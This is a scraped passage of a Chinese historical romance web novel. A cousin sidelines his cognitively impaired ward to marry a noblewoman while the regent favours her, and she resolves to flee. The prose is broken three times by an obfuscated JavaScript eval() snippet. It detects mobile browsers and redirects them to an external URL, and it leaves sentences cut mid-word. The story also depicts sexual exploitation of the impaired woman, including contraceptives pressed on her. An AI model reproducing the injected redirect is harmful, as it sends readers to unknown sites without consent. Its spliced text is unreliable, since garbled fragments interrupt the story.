楚衍诺握着她柔荑似的小手放在自己的心口上，用力按了按。 “暖暖，不要试图找我，站在原地等就好，我会找到你的。” 此刻的楚衍诺有些疲惫，唐兮暖注意到他心情不好，仰头望着她，“表哥，你不开心吗？” 楚衍诺摇了摇头：“怎么会，只要有暖暖陪着，表哥做什么都是开心的。” “表哥，”唐兮暖靠进他的怀里，贴着他的胸口软软糯糯地开口，“表妹也是呢，只要有表哥在，表妹做什么也是开心的。” 最终，楚衍诺没能把唐兮暖送回家。 户部来人通知他尽快返回户部。 他只能命侍卫把人送回去，他则骑马回到户部。 快到户部的时候，意外遇到魏敏娴的轿子。 轿帘被微风掀开，他看见端庄秀丽的女子端坐在里边。 仿佛有感知一般，里边的女子也看见了他。 只有电光火石的一瞬间，他注意到女子眼里流露出一抹惊喜。 如果不是表妹心智有问题，他是不会娶别人的。 可这偌大的侯府只有他一个儿子。 传宗接代，是他无法推卸的责任。 魏小姐聪慧秀丽，是当家主母的不二人选。 而且她仁爱善良，一定能厚待表妹。 想及此，楚衍诺勒住缰绳，双手抱拳，“魏小姐，府里的桃花开了，想邀请魏小姐过府赏花，不知道魏小姐什么时候有时间？” 魏敏娴坐在轿子里，脸颊很快染上两坨红晕。 她有些不好意思，“楚世子有时间了，给国公府递个帖子，小妹自然会去。” “好，”楚衍诺弯唇点了点头，“这两天户部有些忙，等忙完就给府上递帖子。” 魏敏娴羞羞答答道了一声好，依依不舍得落下轿帘。 待起轿后，她又忍不住撩开轿帘回头看去。 少年公子纵马京城，本就风度翩翩，金尊玉贵，如今在户部领了差事，穿上官服，越发超群卓越。 她心里是特别喜欢的。 今天进宫，也无非想着能不能见上他一面。 还真被她碰着了。 六位六部之首、两位丞相以及户部所有人员全部到齐。 周川行将之前户部送上来的几套方案发下去。 “核对一下，看看有没有问题！” 两位丞相年纪大了，又欺负皇上重病，周川行年轻没有朝政经验，处处掣肘。 户部尚书又是左丞相的亲戚。 如今满朝堂的官员都有着千丝万缕的关系。 周川行领兵在外打了十几年仗，用的都是铁腕政策。 可那时面对的是三军，是敌人。 回到朝堂，这些手腕完全用不上。 否则户部也不可能一下给他呈上好几套方案，恨不得让他扔骰子随机选一个。 当然这些人的能力也确实不够。 可人才不是韭菜，随时随地都能割起一茬，供他使用。 早在年初，他就发下命令，全国各地寻找有才有志之士，到现在一个都没找来。 “李尚书，两位丞相，这几套方案的最终结果都是一样的，你们商量一下，选出一份最优的。” 李尚书和两位丞相刚才看过了。 心里已经有了选择，不过没到最后时间，他们还想保持一下神秘。 李尚书把几份方案递给楚衍诺，“楚世子，你也看看，提提意见。” 楚衍诺按序拿起一本，翻开。 已经被人修改过了，他心里合算一遍，不知道什么人这么厉害，竟然一条不差。 他找出自己的方案，也被人圈圈改改，几十页的条陈，所有错误全被挑出来。 不由得皱起眉。 摄政王的学识，他是知道的。 从会上马就在外打仗，读书识字都是打仗之余抽空学的。 至于算学，只怕连《九章算术》是什么都不知道。 要说他修改出来的，楚衍诺说什么都不会信。 正好他所坐的位置距离摄政王不远，开口问道：“王爷，敢问这份方案是何人修改？” 难不成户部来了新人，还是懂算学的能人。 其实从李尚书将方案交给楚衍诺时，周川行便注意着他的反应。 这些文件全是唐兮暖修改的，按理楚衍诺应该一眼就能认出她的笔记。 可他翻了好几本都没什么反应。 这不应该。 楚衍诺总不能连他表妹的字迹都不认识。 楚衍诺确实认识他表妹的字迹。 只不过在表妹的书房才能认出来。 这些文件可都是户部的重要资料，他就算觉得眼熟，也不可能相信都是出自表妹之手。 楚衍诺问完，好一会儿都没听到周川行回答，还以为他不会回答了。 却听周川行淡声道：“一个没职位的幕僚。” 楚衍诺明白为什么没见到人了。 一个没职位的幕僚，最多就是个秀才，怎么可能来户部办差。 “那这个幕 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“嫌弃？”周川行下意识的以为，“罪臣之后？” 端王点了点头，“有这方面原因，不过这丫头这里有些问题。” 他指了指自己的脑袋。 周川行没听明白，“什么意思？” 端王靠近他说：“心智不全。” 周川行皱眉：“什么是心智不全？” 端王不想说得太直白，却又不能不说，“就是傻子。” 周川行捏着资料半晌都没说话。 端王又道：“对了，我还查出来，表妹还有一个哥哥，当年唐家找人替死，那个儿子活下来了。” 周川行点了点桌面，“写下来。” 端王在一张空白纸上写下一个名字。 周川行看完便处理干净了。 他将资料放进暗格锁起来。 又处理两件朝政，忽然对端王说：“你也老大不小了，也该考虑婚事了，不是喜欢楚家三小姐？没事的时候多走动走动。” 端王还有什么不明白的，“二哥，你别以为我不知道你什么意思，不过那丫头真进王府的话，会被欺负吧，你总不能不娶王妃。” 侯夫人是唐兮暖的亲姑母，尚且无法做主让儿子娶她。 摄政王府虽然比不上皇宫，可也绝对是吃人不吐骨头的地方。 聪明的都不一定长久，何况一个不能自理的傻子。 二哥总不能一直盯着她。 周川行凉凉地瞥他一眼，“你好像很闲？昨天小妹摆那么大阵仗，我们两个不能没有交代，该怎么做，你知道吧？” 端王为难道：“你不知道，我跟楚家三小姐表明过心意了，可你知道她说什么吗！” 周川行：“说什么？” 端王：“他说，我要想娶她，就只能娶她一个，绝对不能再有别的侧妃小妾，否则……她就跟我玉碎瓦全。” 道德是用来约束自己的。 周川行没想改变弟弟的想法。 他沉默片刻，说了一句让端王不解且莫名其妙的话： 一辈子，一人，足矣！ 9. 第 9 章 皇家就没有一夫一妻的事。 就算千年出一个奇葩，端王也不相信，这个奇葩会是他们周家人。 所以他怀疑自己恍惚了。 要么就是二哥在和他开玩笑。 “二哥，”端王抱着胳膊，一脸哂笑地看着周川行，“为了你，我可以去楚家，追求那位三小姐，顺便看看楚家那位表姑娘。” 周川行凉凉地瞥他一眼，“为你自己就行。” 端王凑到周川行身边，故意说：“你敢说你不喜欢那个姑娘。” 周川行不肯开口，端王就继续说：“明明就有办法让那姑娘的表哥给她名分，非说什么做不到，心不心虚。” 周川行这次回应他了：“他表哥不娶，我能怎么办！” 端王：“赐婚啊。” 周川行：“皇兄还病着，你能让他清醒下旨？” 端王险些忘了，如今朝政大事全由二哥做主，可二哥毕竟不是皇上，只是暂时摄政。 下不了圣旨。 “那个，皇后下懿旨也是可以的。” 周川行捏起本书想砸他：“我看你是真闲。” 小姑娘那么喜欢算学，她亲自选的几本书，应该很想看吧。 周川行将五本算学书放在书桌的左边，一伸手就能够到的地方。 闲来无事也会翻阅一下。 可一连过去五天，他都没听到小姑娘要见他的消息。 这天下午，周川行命人将楚衍诺请到勤政殿。 这应该算是两个人第一次单独见面。 楚衍诺进门后便开始打量起周川行。 对方毕竟是摄政王，他不能大喇喇直勾勾的盯着。 不过关注的中心一直在对方身上。 这个男人十三岁就上了战场，只要没受重伤，永远拼在第一线。 十几年间，平七藩，征北域，开疆扩土，立下的战功无数。 大周朝险些灭国后又能坚持到现在，不说全是周川行能征善战的功劳，但大分部是。 而他能做到今天这个位置，绝不只因为他是皇上的亲弟弟。 如今皇上重病在身，已经有好几个月没醒过来了。 这皇位早晚是这位摄政王的。 今天他忽然把自己叫来。 应该不是因为自己办差不力，毕竟自己仔细回忆过，并没发现能引起摄政王注意的事情。 楚衍诺打量周川行的时候，周川行坐在太师椅上，也在观察着楚衍诺。 他是上位者，目光不用含蓄，可以直接定格在对方身上。 脑海里不受控制浮现出身穿蓝褂长裙的小姑娘张开手臂朝他要抱抱的情形。 表兄妹两个从小一起长大…… 周川行无意识握紧茶碗。 “楚世子，坐吧。” 两人寒暄几句，周川行也不拖延，先关心楚衍诺的办差情况，后关心他家里，还提了一嘴武安侯，最后拍了拍楚衍诺的肩膀，叹了口气。 “衍楚世子，本王今天找你过来，是有件事要和你商量。” 楚衍诺哪担得起商量两个字，急忙起身：“有什么事需要下官效力，王爷尽管吩咐就是。” 摄政王满眼赞许的点了点头：“这北域十万灾民，我实在放心不下，就怕钱粮到了，也进不了灾民的肚子，我是想着，派一个得力的能臣过去，做上一任知府，负责教化灾民，帮他们学会耕种农田，让他们都能吃饱饭。 思来想去的，也就你是个合适的人选，不知道你能不能脱开身，去北域待上三年？” “王爷想让我去北域？”这个消息来的太过突然，楚衍诺一时半会接受无能。 摄政王沉重的嗯了一声，“这满朝文武，真正能为朝廷效力的，少之又少，除了你，我实在想不出还能把这么重的担子交给谁。” 楚衍诺从来没想过离开家那么久，“我父亲他身体……” 周川行安抚道：“我知道你有难处，这样吧，如今不管户部还是吏部尚书，都已经年迈，等你三年后回来，这两个位置，由着你选。” 楚衍诺：“……” 周川行尽量帮他解除后顾之忧，“我知道你还没成亲，武安侯就你这一个儿子，本王不是不近人情，可以给你两个月的时间，足够你置办婚礼了。” 摄政王都说到这个份上了，楚衍诺还能说什么。 “下官一定竭尽全力，绝对不会辜负王爷重托。” 唐兮暖自从参加完宫宴回到侯府，翠竹园的戒备便加强了。 如今她连走出翠竹园给侯夫人请安，身后都会跟着好几个婢女。 楚衍诺甚至把他身边的大姑姑青柠派了过来。 楚衍晴刚才过来找唐兮暖，还被青柠拦了。 “三小姐，不是奴婢不想放您进去，世子爷特意交代，您要见表姑娘得经过他同意。” 楚衍晴气得抬手恨不得给她一巴掌。 转念想到，青柠也不过是听从哥哥的命令，一个奴婢而已，有什么错。 她气呼呼地跺了跺脚，转身去找侯夫人。 唐兮暖好几天没见到外人了。 表哥不来，表妹也不来，只有每天早晨去给姑母请安才能和亲人聊几句，她整天闷在翠竹园好无聊。 “小倩，为什么表妹也不来找我？” 小倩哪敢说世子爷不允许。 小姐这几天没活动，心情不好，饭量越来越小，已经清瘦不少。 “可能是三小姐忙吧，已经及笄的姑娘，府里也该张罗着议亲了。” 唐兮暖闷坐在秋千上，面无表情地看盯着天边的云朵，“可是，表哥也不来找暖暖呢。” 恍惚着，她记起没来侯府之前的事情。 那时爹娘抱着她出门买糖葫芦，哥哥故意逗她，抢走她的糖葫芦，她迈着小短腿努力追呀追。 哥哥忽然停下来，等她撞上去，再像变戏法似的从后背把糖葫芦拿出来，递给她。 然后刮着她的鼻子说：“暖暖，小馋猫！” “小姐，”小倩走到唐兮暖身边，让她靠着自己，轻声哄道，“不哭，不哭。” “不哭，”唐兮暖说着不哭，可还是忍不住抽噎，“我想爹娘了，也想哥哥。” 好想。 好想。。 楚衍晴来到后宅的时候，楚衍诺正在跟侯夫人商量婚事。 楚衍晴第一次忍不住和哥哥发火。 “表姐她犯了什么错？连翠竹园都不让她出来？” 楚衍诺理直 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楚衍诺握了握拳，“她心智有问题，做不了这个家的主母，也没办法生出正常的孩子，我不能拿侯府的未来去赌。” 楚衍晴仿佛不认识了这个哥哥。 怒极反笑地看向侯夫人，“娘——” 侯夫人使劲握着杯子，好一会儿才说出口：“我们唐家的姑娘没必要上赶着嫁给楚家，既然嫌弃，那我明天就给她找不嫌弃的，楚衍诺，你头天成亲，我第二天就给她送嫁。” “娘，”楚衍诺怎么可能同意，“我就不信，谁会为了一个傻子，跟我这个侯府的世子作对。” 侯夫人也是气坏了，“两个月后，你上任去呢？等你回来已经是三年后了。” 楚衍诺斩钉截铁道：“我会带她一起去上任。” 侯夫人一向温柔，几乎没对自己的儿女动过手。 可这会是真忍不住了。 她握着茶杯，使劲砸向那个自己怀胎十月，亲手养大的儿子。 “楚衍诺，你别后悔。” 楚衍诺站着没动，但是楚夫人手头不准，竟然没打到他，擦着他的耳边飞出去了。 随后就是一声巨大的茶杯摔到地上破碎的声音。 楚衍诺认认真真行大礼，“还请母亲三日内请人去魏国公府提亲，并且将儿子要去北域任职的事情说清楚，尽快完婚。” 楚衍晴阻拦道：“娘，别答应他，有能耐让他自己去提亲，自己把婚礼办了。” 侯夫人累了，“既然衍诺决定了，就这么办吧。” “娘——”楚衍晴虽然知道自己已经无力回天，可还是想挽回。 侯夫人摆了摆手：“强扭的瓜不甜，就算逼着她娶了你表姐，万一有什么不顺心，肯定会怪到你表姐身上，那时如果我已经不在了，谁还能护着她呢？” 楚衍晴：“……我可以护着。” 侯夫人声音里充满了疲惫，“那时你早已出嫁，又有什么精力每天关注娘家的事呢。 况且你表姐是个连状都不会告的人…… 罢了，罢了，终究是我们唐家的姑娘不配。” 10. 第 10 章 “小姐，小姐，不好了……” 小倩惦记着唐兮暖胃口不好，亲自去后厨找些开胃的小菜，回来的路上听说了府里开始给世子议亲的事。 唐兮暖正在画画。 纤薄瘦销的身体坐在画板前，鹅黄色的薄衫有些脱落，露出大半白皙柔润的肩膀。 额角蹭了一些红色的颜料。 和她雪白的肌肤对比强烈，艳丽又夺目。 此刻有些烦躁。 她画的是她想象里的一家四口。 身体和服侍都出来了，可她忘记了爹娘和哥哥的样子。 听到小倩喊她，蹙着眉心回头：“怎么了？” 小倩盯着她干净纯粹不沾染一丝杂质的脸蛋，有些说不出口。 唐兮暖弯起唇角，甜甜得笑了起来，“小倩，我昨晚梦到哥哥了，他说要接我回家。” 小倩越发说不出口了。 唐家当年出事，五岁以上全被诛杀，小姐哪里还有什么哥哥。 说是被救，可这么多年都没消息，谁知道…… “小姐，我刚才听说府里要给世子议亲了，世子请夫人三天内去魏国公府提亲……” 唐兮暖一下没明白她什么意思，“你在说什么？” 小倩吸了吸鼻子，“世子爷要娶别的女人了。” 唐兮暖忽然怔住。 小倩咬着牙说：“也就是说这两天府里还要准备一下，小姐要不趁这两天争取一下，好好哄哄世子，跟他撒个娇，没准他一心软就不娶别人了。” 实在为小姐难过，眼泪稀里哗啦的往下落。 她擦了好一会儿才忍住，“毕竟世子爷那么疼你。” 傍晚，小倩服侍着唐兮暖沐浴，之后换了一套特别漂亮的抹胸长裙。 又给她挽一个十分好看的发髻。 唐兮暖本来就漂亮，这么一打扮，仿佛天上下凡的仙女。 “小姐，奴婢告诉您的话都记住了吗？” 唐兮暖点了点头：“都记住了。” 小倩不放心，又重复了两遍。 “小姐，您见了世子，一定要直接跟他说，您要做他妻子，不要他娶旁人。” 唐兮暖认真的点头，“我记住了啦。” 小倩又说：“这条不行，那您就跟他说要个孩子。” 有了孩子，才不至于被人贬低，小姐的日子也能好过些。 唐兮暖都记着呢，“放心吧，我知道的。” 小倩反反复复叮嘱，待她确定没有什么要交代的才拉着人出门。 被青柠拦住，小倩忍着怒火说：“我们小姐想世子爷了，要去见世子爷，带路吧。” 青柠放松一笑：“奴婢这就带表姑娘过去。” 楚衍诺今天回来的比较早，摄政王念及他要操办婚事，特别好心交代尚书给他减轻些差事。 他已经给魏敏娴递了帖子，邀请她明天过府赏花。 当然不是以他自己的名义，而是以三妹的名义。 想来魏敏娴是清楚的。 勤政殿。 周川行批了大半天折子，此刻头昏脑涨，浑身疲惫。 北域安置十万灾民的事情已经规划好，接下来按部就班处理就行。 眼看着夏季来到，各地加紧防备水患。 他已经派人到往年经常发生水患的地方查看。 务必提前做好防备，以及准备好万一发生各种突发灾患后的救治方案。 大周朝已经十多没开科举，今年秋天重开乡试。 算起来最后一批秀才中最年轻的都已经将近三十岁。 所以这次参加科举的人员并不是秀才。 而是以全国各地方官推荐为主。 再过一个月，名单便会交上来。 这中间会有多少弊端，周川行不是没考虑过。 可如今他求贤若渴，也只有这个办法。 只希望各地方官能多选些真材实料，别让朝廷失望。 …… “二哥，二哥——” 朝栎公主喊了半天周川行都没回应，她忍着小脾气，使劲把人推了又推。 “你在想什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189256|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么呢？” 周川行回过神来，拍了拍推他的小手，“后宫不够你玩的，又来吵我。” 朝栎不高兴道：“后宫有什么好玩的，整天都是那几张面孔，好无聊。” 周川行对这个妹妹极近宠爱。 一母同胞，还是他最小的妹妹。 当年他带兵出征，她还不会走。 再回朝，母亲已经过世，只有这个小不点，脸上挂着泪，冲到马下喊他二哥哥。 “那你想干什么？” 朝栎拧着鼻子哼了一声，“前几天我花了多少心思才把京城所有的贵女都请过来，想给你和三哥选个王妃，可是你们两个，一个比一个不体谅我，连面都没见，你们让我的脸都丢没了。” 周川行无奈的点了点她鼻子，“我们大周朝最尊贵的小公主，会没面子？” 朝栎拍开他的大手，“别糊弄我，四哥已经定了亲事，年底就会完婚，皇兄没有儿子，你和三哥再不抓紧，等四哥有了儿子……” 皇上、周川行、端王和朝栎都是一母同胞的亲兄妹。 四王爷是德太妃所生。 眼看着就到了及冠，能入朝主事的年纪。 朝栎怎么可能不急。 “二哥，我说你怎么不知道着急。” 眼见着说不通二哥，她也懒得生这个气，“二哥，我想出宫转转。” 周川行叮嘱道：“带好暗卫。” 他顿了一下，“我记得你不是和楚家三小姐关系很好吗，不如去侯府转转。” 朝栎眼睛一亮，“二哥，你有情况。” 第一次从万年老铁树嘴里听到女孩名字，能是什么原因，朝栎怎么可能猜不到。 周川行难得弯起唇角，“知道还不去。” 朝栎高兴了，“我去，我去，不过今天太晚了，明天一早就去，二哥你等我好消息。” 周出行叮嘱道：“事情还没定好，别表现的太明显。” “知道了，”朝栎风风火火的离开了勤政殿，命人给楚衍晴递帖子，她明天上午要去侯府赏花。 11. 第 11 章 朝栎风风火火跑到门口，正好和端王撞个正着。 端王一把把人拉住：“你跑什么？” 朝栎给他一个你自己体会的眼神，“我明天去楚家了。” 语毕也没等端王反应，推开他的手就跑了。 端王一脸狐疑来到周川行身边，“小妹去楚家干什么？” 周川行信口拈来，“我说你看上楚三小姐了，她去帮你张罗。” 端王先是一喜，随后又是一凉，然后神色变得极为复杂。 “二哥，你确定小妹帮我去的？” “不然呢，”周川行脸不红心不跳。 端王暂且相信了他的鬼话，“二哥，我听说你打算让楚世子去北域，这是真的？” 周川行继续批阅奏折，“是有这个打算。” 端王又问：“你还说让他两个月后去，两个月内把婚事办了，也是真的？” 周川行看到气人的奏章，用毛笔使劲戳了戳。 “是。” 端王迷糊了，“你就不怕他娶了表妹？” 周川行刚写两个批语，手指顿了顿，之后毫无温度道：“她不是求我让她表哥给名分吗，当是圆她心愿了。” 整件事，所有的选择权都在楚衍诺。 希望他知道珍惜吧。 端王一时竟不知道说什么好。 他二哥这个还没开窍的老光棍，大概不知道什么叫爱。 哪有人把喜欢的人拱手让出去的道理。 只能说他感情不够深厚。 松秀斋。 唐兮暖从婢女手里接过一碗红枣粥。 楚衍诺坐在书房里忙着整理灾粮信息，这两天就得发出去。 “表哥，红枣粥，你喝不喝？”唐兮暖盛了一勺递到楚衍诺唇边。 楚衍诺目光还在文件上，很自然地张嘴接了她的粥。 随后将文件合起，将她拉进自己怀里。 “跟表哥说说，今天都做什么了？乖不乖？” 唐兮暖顺势坐到他腿上。 “表妹一直都很乖的，”雪白柔软的手臂搂着他的脖子，开始撒娇：“表哥，我真不能做你的妻子吗？” 楚衍诺笑着哄她：“你连持家都不会，这偌大的侯府怎么交给你，乖乖听话，表哥就算娶了旁人，在心里也是你最重要。” 唐兮暖记得小倩叮嘱她的话，做不了正妻就要个孩子：“表哥，那我们要个孩子吧，表姐说有了孩子我们才算完整的家。” “小馋猫，”楚衍诺捏着她的下巴，呼吸逐渐加重，先浅尝辄止般在她唇上吻了一下，“想要了？” 唐兮暖心思单纯。 她刚跟表哥要求，想要个孩子，那表哥亲她然后跟她发生关系，自然是允许了她要孩子的心愿。 所以此刻的她特别高兴。 动作也比以前主动大胆。 她人长得美，又是金尊玉贵养起来的，身段极其柔软，肌肤光滑犹如缎面一般，又足够细腻，比最温润的玉石触感还要深刻。 楚衍诺每次沉沦的时候，都觉得自己疯了。 这次亲密，楚衍诺要了三回水。 看着筋疲力尽软软躺在床上的姑娘，全身都被一股叫做餍足的感觉充斥着。 他爱死了这种感觉。 “药端过来，”楚衍诺情绪稳定下来，吩咐婢女。 待青柠端着药过来，看了一眼床上的姑娘，“服侍她喝下。” 唐兮暖累及，她现在只想睡觉。 听到有人喊她，懒洋洋地开口，“不要吵我，我要睡了。” 青柠先帮她把衣服穿好，“表姑娘，把药喝了再睡吧。” 唐兮暖逐渐清醒，“什么药？” 忽然想起每次事后喝的避子汤，她特别生气的推开青柠，“我不要喝，表哥答应我的，我不喝。” 青柠知道表姑娘是世子爷的心尖宠，自然不敢强灌。 其实她也不想让表姑娘喝这种汤药。 “世子爷，表姑娘不想喝，您看……” 楚衍诺接过药碗，“我来吧。” 他坐到床边，一手端着药碗，一手轻轻抚摸着表妹乌黑的长发，柔声安抚：“表哥也想和表妹要个孩子，可万一生出一个小傻子怎么办。 表妹放心，就算没有孩子表哥也会疼你一辈子。 乖，起来把药喝了。” 唐兮暖不想喝，可她也不想生个小傻子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可是水珠子还是从眼睛里一下一下的滴落下去。 她想不明白，明明表哥对她很好的，可她为什么感觉这么伤心呢！ 12. 第 12 章 楚衍诺从书房返回卧室，已经不见了表妹身影。 “暖暖呢？” 负责值守的婢女如实回道：“表姑娘不肯留，青柠负责送回去了。” 一股极其不舒服的感觉从心底漫延开来。 不过很快便平复下去。 两个月内他必须把婚事办理妥当。 明天还要招待魏姑娘，他必须一次成功。 否则魏家拒绝了亲事，他还要再次筹谋别家的姑娘。 家世、模样、品行、心智都要达到要求，除了魏家姑娘，还真不是那么容易找的。 所以，他要多花些心思。 第二天，先来到侯府的是朝栎公主。 侯夫人带着楚衍诺和楚衍晴一起恭迎。 之后年轻人去园子里赏花。 临走时，侯夫人给楚衍晴使个眼色，等公主出门她才开口：“一会儿魏家姑娘来我就不见了，你就说我身体不适，你哥自己看着定吧。” 楚衍晴体谅母亲的心情。 哪个姑母愿意看着自己从小养大的孩子受委屈。 “娘，我知道了。” 朝栎公主和楚衍诺没话说，在等楚衍晴的时候，两人都有些尴尬。 好在楚衍晴很快出来了。 “衍晴，带我随便走走，我一直住在宫里，不常出来，这外边的空气都是新鲜的。” 正好有一片荷花开了，楚衍晴带着她往荷花池走，“我也不常出门，没办法，那么多规矩都是给我们女子定的，做什么都束手束脚。” 提到规矩，两位姑娘可就有的聊了。 什么妇德妇言，什么女则女戒，想起什么骂什么，听得楚衍诺太阳穴直突突。 朝栎当着楚衍诺的面不好提二哥的心思，打算一会找个他不在的机会再说。 “对了，上次你表姐在宫里迷路，是我没照顾周到，今天怎么没见人，这么好的天，不如叫出来一起玩。” 楚衍晴正有意让表姐出来放放风，立刻说道：“我这就去喊她。” 随后给楚衍诺一个冷眼，“公主让我去请，你不是要拦着吧！” 楚衍诺自然不敢忤逆公主，“我怎么可能拦着。” 他刚要说他去，楚衍晴却先一步走了。 又留下他和朝栎公主两个人站在湖边，都有些不自在。 好在魏敏娴到了。 管家直接把人带进园子。 朝栎公主一脸八卦的看着魏敏娴走过来。 到底是国公府的姑娘，一身极其少女的藕粉色抹胸长裙，穿在她身上，把她衬的又鲜又美。 再加她行为举止端庄秀雅。 光看看，就觉得赏心悦目。 只是可惜了，朝栎原本要把人介绍给二哥或者三哥的。 人家从进了院子，目光就在楚世子身上流连，小脸红扑扑的。 同为女子，还有什么不明白的。 魏姑娘喜欢楚世子。 魏敏娴没想到朝栎公主也在。 她先客气恭敬的给公主行礼，随后又转向朝楚衍诺，“楚世子安。” 楚衍诺也回了礼。 朝栎忽然感觉自己有些碍事，她约的是楚三小姐，魏敏娴约的好像是楚世子。 “那个，我看那边的花很漂亮，你们聊着，我过去看看。” 魏敏娴羞羞答答的让她走好。 刚才看见朝栎公主，很自然的猜测公主是为了楚衍诺来的。 她一直紧张到现在。 朝栎公主可是皇上唯一一母同胞的亲妹妹，倍受恩宠。 她看上的男人，肯定没有旁人什么事了。 听到公主要离开，心里莫名松口气。 应该不是奔着楚世子来的。 只是巧合。 “魏姑娘，”楚衍诺邀请她往前走走，那边有一处观赏荷花极佳的地方，“这边请。” 魏敏娴羞羞答答的跟着过去。 遇到不好走的路段，险些摔倒，好在楚衍诺及时体贴的拉住了她。 “魏姑娘，小心路滑。” …… 楚衍晴拉着唐兮暖来到湖边的时候，正好看见她那位负心薄幸的哥哥正极其殷勤的照顾一个只见过几面的女子。 心里不同快，狠狠把人瞪了一眼。 同时小心翼翼观察着表姐的神色。 注意到表姐红了眼睛。 小声道：“表姐，要不我送你回去吧。” 表姐虽然不能像正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189258|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一样表达喜怒，可她不傻。 怎么能看不出来，喜欢的男人正在讨好别的女人。 很快，她就要和那个女人一起分享表哥的疼爱了。 “我想去看看姑母，”唐兮暖忽然开口。 楚衍晴有些犹豫，不过还是让青柠和小倩带她过去了。 自己还要陪公主说话，自然不能送她。 “表姐，多和姑母说说话，我一会儿过去找你。” 朝栎公主看见楚衍晴一个人回来，有些奇怪，“你表姐呢？” 楚衍晴解释道：“我表姐这两天身体不好，刚才去我母亲那边了，公主好不容易来一趟，我还是带公主看点新鲜玩意……” 提到新鲜玩意，楚衍晴又有些为难。 侯府哪里比得上皇宫，公主什么没见过。 也是灵机一动，她笑道：“听说明月楼来了一位女说书先生，讲的可好了，想不想去看看？” 朝栎公主还真没在民间看过说书。 “好啊。” 两人一拍即合，换好便装便出了侯府。 之后园子里除了伺候的婢女，只剩下楚衍诺和魏敏娴两个人。 楚衍晴走时特别不高兴地瞥了两人一眼。 不知道两个人在说什么，可两人脸上都有笑意。 如无意外，这桩婚事肯定成了。 唐兮暖并没有去侯夫人那边，半路又返回了翠竹园。 忽然间，她只是很想哭，很想哭，可她努力忍着，将眼泪都憋了回去。 表哥，她不要了。 她现在要去寻找新的生活。 不过在离开侯府前，她得做些准备。 她不懂人情世故，也没有独立的生活经验。 再者小倩从小跟着她，两人情同姐妹，她不能放下小倩。 所以，她得带小倩一起。 当然还得问过小倩自己的意思。 “小倩，”唐兮暖把小倩拉进屋里，关好门窗，小声问她：“我决定离开侯府了，你跟不跟我走？” 小倩一惊。 小姐五岁时进了侯府，几乎再没出去过。 她离开侯府，真的能活？ “小姐，你是不是太伤心，糊涂了？” 13.第 13 章 唐兮暖怎么可能糊涂。 她浑浑噩噩长这么大，从没有这一刻这般清醒过。 “小倩，我没开玩笑，你想走我就带你，你不想，那我就自己走。” 小倩把人摁着坐到床上，仔细观察。 小姐确实不像喝了假酒的样子。 想那世子爷确实对小姐很好，她也一直以为世子爷会是小姐的良配。 可在这侯府生活越久，她就越窒息。 小姐作为当事人，感受只会更深。 虽然小姐什么都不说，不会抱怨，不会告状，不会生气发火，可她知道，小姐心里是难过的。 如果能离开，当然是好事。 可是…… “小姐，就凭我们两个真能逃出去吗？” 唐兮暖白皙的小脸是从没有过的坚韧和认真：“一定会的。” 小倩还是担心：“可是逃出去，我们两个怎么生活？” 别说两个女人无依无靠，连吃住都成问题。 万一遇到坏人…… 小姐长这么漂亮，不知道多少男人会觊觎，安全都没办法保证。 小倩提到了重点，唐兮暖从来没考虑过这种事。 “我们两个逃出去后，想要平安生活下来，都需要什么？” 小倩发现小姐在认真思考这件事，她自然是不会拖后腿的。 “钱，银票，需要很多很多钱，我们可以找个地方买座宅子，维持日常花销，穿衣吃饭，每一样都要花钱。” 唐兮暖认为小倩说的对，“需要多少？” 小倩仔细盘算一下，买宅子怎么也要千百两。 就算小姐以后能找到可以依靠的人，那也要留出两三年的花销。 她们肯定是不能留在京城的，世子爷不可能放过小姐，离开京城也是一笔花销。 她算不出来具体多少。 但能有个大概数目。 “我们两个省一些，总要几千两吧。” 唐兮暖没攒过钱。 平常花用全都是府里负责，没有需要她自己购买的东西。 不过府里每个月都会给她五两银子，大都被她赏下人了。 她把箱子翻开，粗略算一下还不够一百两。 “只有这些？”小倩紧紧皱着眉头，“这些怕是雇辆马车逃出京城都不够。” 唐兮暖不气馁，她虽然没银子，可这些年姑母、表姐、表妹和表哥送过她不少礼物。 既然是送给她的，如今她遇到麻烦，自然可以用来换些银钱。 她把珠宝箱打开，“你看这些，能变卖多少？” 不是宝石就是玉石，每一件都很值钱。 可拿出去变卖却不一定能卖出多少。 小倩也不清楚，“要不我拿出去找人估个价？” 唐兮暖担心不够，她又把身上检查一遍。 发现前几天进宫的时候，别人送她的玉佩，好像很值钱的样子，稍一犹豫，摘下来放进珠宝箱里。 “这个也卖了吧。” 小倩知道这块玉佩，前几天小姐从宫里回来身上就多了一块玉佩。 她问过小姐哪来的，小姐说她帮了别人忙，人家送的谢礼。 小倩不觉的小姐能帮别人什么，多半是小姐从哪里捡来的。 “好，看着玉质还不错，应该能多卖几两银子。” 不多时，小倩将所有整理出来的金银珠宝放进包袱里，打算明天偷偷出府，找当铺问问价格。 合适就出手，不合适就多转几家。 钱的事情解决，唐兮暖又问：“除了银钱，还有什么我们两个要准备？” 